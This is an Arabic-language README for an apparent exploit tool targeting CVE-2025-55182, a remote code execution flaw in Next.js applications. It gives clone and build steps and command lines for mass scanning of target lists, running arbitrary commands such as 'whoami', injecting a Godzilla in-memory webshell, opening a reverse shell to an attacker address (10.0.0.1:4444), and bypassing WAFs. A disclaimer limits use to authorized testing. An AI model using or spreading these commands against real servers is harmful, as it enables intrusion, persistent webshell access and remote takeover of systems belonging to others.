CVE-2025-55182 Next.js RCE Scanner

أداة فحص واستغلال ثغرة CVE-2025-55182، تستهدف ثغرة تنفيذ الأكواد عن بُعد في تطبيقات Next.js. تدعم الفحص الجماعي، تنفيذ الأوامر، حقن حصان طروادة الذاكري Godzilla، ووظيفة الـ Reverse Shell.

⚠️ هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط، يُرجى عدم استخدامها لأغراض غير قانونية.

الميزات

فحص متعدد الأهداف: يدعم عنوان URL واحد، وقائمة ملفات (عنوان واحد في كل سطر)، ومجلدًا يحتوي على عدة ملفات .txt.
تزامن متعدد الخيوط: يمكن تخصيص عدد الخيوط لزيادة كفاءة الفحص.
التحقق من الثغرة: التحقق من وجود الثغرة عبر حساب حاصل ضرب أرقام عشوائية.
تنفيذ الأوامر: تنفيذ أوامر نظام عشوائية على الهدف المصاب (يدعم Linux وWindows).
حقن حصان طروادة Godzilla الذاكري: إنشاء معلومات اتصال حصان طروادة Godzilla بضغطة واحدة.
Reverse Shell: يدعم وظيفة الـ Reverse Shell.
حفظ النتائج: حفظ تلقائي لعناوين URL التي تم استغلالها بنجاح وتفاصيلها في success.json، مع إمكانية اختيارية لكتابة عناوين URL الثغرات إلى ملف محدد.
دعم الوكيل (Proxy): إمكانية تكوين وكيل HTTP لتسهيل التكامل مع أدوات مثل Burp Suite.
عرض التقدم: عرض تقدم الفحص في الوقت الفعلي، والوقت المستغرق، والوقت المتبقي المتوقع، إلخ.

[]

التثبيت

المتطلبات الأساسية

Go 1.16 أو إصدار أحدث
Git

استنساخ المستودع

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

البناء

go build -o cve-2025-55182 main.go

التشغيل

./cve-2025-55182 -h

طريقة الاستخدام

شرح المعاملات

أمثلة

فحص هدف واحد

./cve-2025-55182 -u http://target.com:3000

فحص الأهداف في ملف دفعة واحدة

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

تنفيذ أمر

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

استخدام حصان طروادة Godzilla الذاكري

./cve-2025-55182 -u http://target.com:3000 -g

بعد الحقن الناجح، ستقوم الأداة بإخراج عنوان الاتصال وكلمة المرور والمفتاح ومعلومات ترويسة الطلب الخاصة بـ Godzilla.

Reverse Shell

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

تفعيل الوكيل

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

شرح المخرجات

success.json: يحفظ تلقائيًا التفاصيل الكاملة للأهداف التي تم استغلالها بنجاح (بما في ذلك مخرجات الأوامر وإعدادات Godzilla وما إلى ذلك).
الملف المحدد عبر -o: يحفظ قائمة عناوين URL الثغرات (واحد في كل سطر).

أثناء الفحص، يتم عرض شريط التقدم والثغرات المكتشفة في الوقت الفعلي، مع إخراج إحصائيات في النهاية.

ملاحظات

تأكد من الحصول على إذن: فحص أو مهاجمة أنظمة الآخرين دون إذن يُعد عملًا غير قانوني.
استخدام الوكيل: إذا كنت بحاجة إلى عرض حركة المرور عبر Burp Suite، فاستخدم المعامل -p لتعيين الوكيل.
اتصال Godzilla: بعد حقن Godzilla بنجاح، استخدم عميل Godzilla للاتصال، مع ملاحظة أن كلمة المرور والمفتاح يتم توليدهما عشوائيًا.
إعداد المهلة: بالنسبة للأهداف ذات الشبكة الضعيفة، يمكن زيادة قيمة المعامل -to بشكل مناسب.

إخلاء المسؤولية

هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط، ويتحمل المستخدم كامل المسؤولية القانونية. لا يتحمل المطور أي مسؤولية عن أي إساءة استخدام.

الترخيص

MIT

`-u`	string	لا يوجد	عنوان URL واحد للهدف (مثل `http://example.com:3000`)
`-f`	string	لا يوجد	ملف يحتوي على قائمة عناوين URL (واحد في كل سطر)
`-d`	string	لا يوجد	مجلد يحتوي على عدة ملفات `.txt`
`-o`	string	لا يوجد	ملف الإخراج (حفظ عناوين URL الثغرات، واحد في كل سطر)
`-t`	int	10	عدد الخيوط المتزامنة
`-to`	int	10	مهلة الطلب (بالثواني)
`-c`	string	لا يوجد	الأمر المطلوب تنفيذه (مثل `id`)
`-m`	string	لا يوجد	الوضع: `waf` (تفعيل تجاوز WAF)
`-p`	string	لا يوجد	وكيل HTTP (مثل `http://127.0.0.1:8080`)
`-g`	bool	false	تفعيل حقن حصان طروادة Godzilla الذاكري
`-rs`	string	لا يوجد	عنوان الـ Reverse Shell (بالصيغة `IP:PORT`)
`-dv`	bool	false	الوضع المفصّل (طباعة عملية الفحص لكل عنوان URL)
`-es`	bool	false	وضع فحص المعلومات الحساسة

CVE-2025-55182-POC

الأكثر شعبية